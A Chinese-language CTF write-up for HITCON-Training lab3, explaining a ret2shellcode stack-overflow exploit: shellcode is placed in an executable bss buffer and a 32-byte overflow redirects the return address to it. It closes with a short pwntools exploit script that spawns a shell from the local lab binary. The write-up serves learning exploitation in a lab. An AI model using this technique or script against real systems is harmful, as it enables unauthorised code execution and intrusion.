AI智能
改变未来

CTF|HITCON-Training-master lab3 writeup (ret2shellcode题型)


CTF|HITCON-Training-master lab3 writeup (ret2shellcode题型)

ret2shellcode题型

ret2shellcode,即控制程序执行 shellcode代码。

shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。

对于lab3

checksec显示所有保护都没有开启并且有可读可写可执行段(RWX)

显然read函数gets函数存在栈溢出

我们看到bss段中一个叫有name的部分即我们第一个输入的地方
gdb运行程序在main下断点后查看bss是否可执行

发现name所在的内存部分是可以执行的(rwxp)
所以我们决定第一次将shellcode写入bss段中的name处‘
第二次输入填充栈使其溢出后返回到name所在的位置执行shellcode

对于shellcode的生成 pwntools提供了一个办法

shellcode = asm(shellcraft.sh())

exp

r = process(\'./ret2sc\')name = 0x804a060r.recvuntil(\":\")r.sendline(asm(shellcraft.sh()))r.recvuntil(\":\")payload = \"a\"*32payload += p32(name)r.sendline(payload)r.interactive()
赞(0) 打赏
未经允许不得转载:爱站程序员基地 » CTF|HITCON-Training-master lab3 writeup (ret2shellcode题型)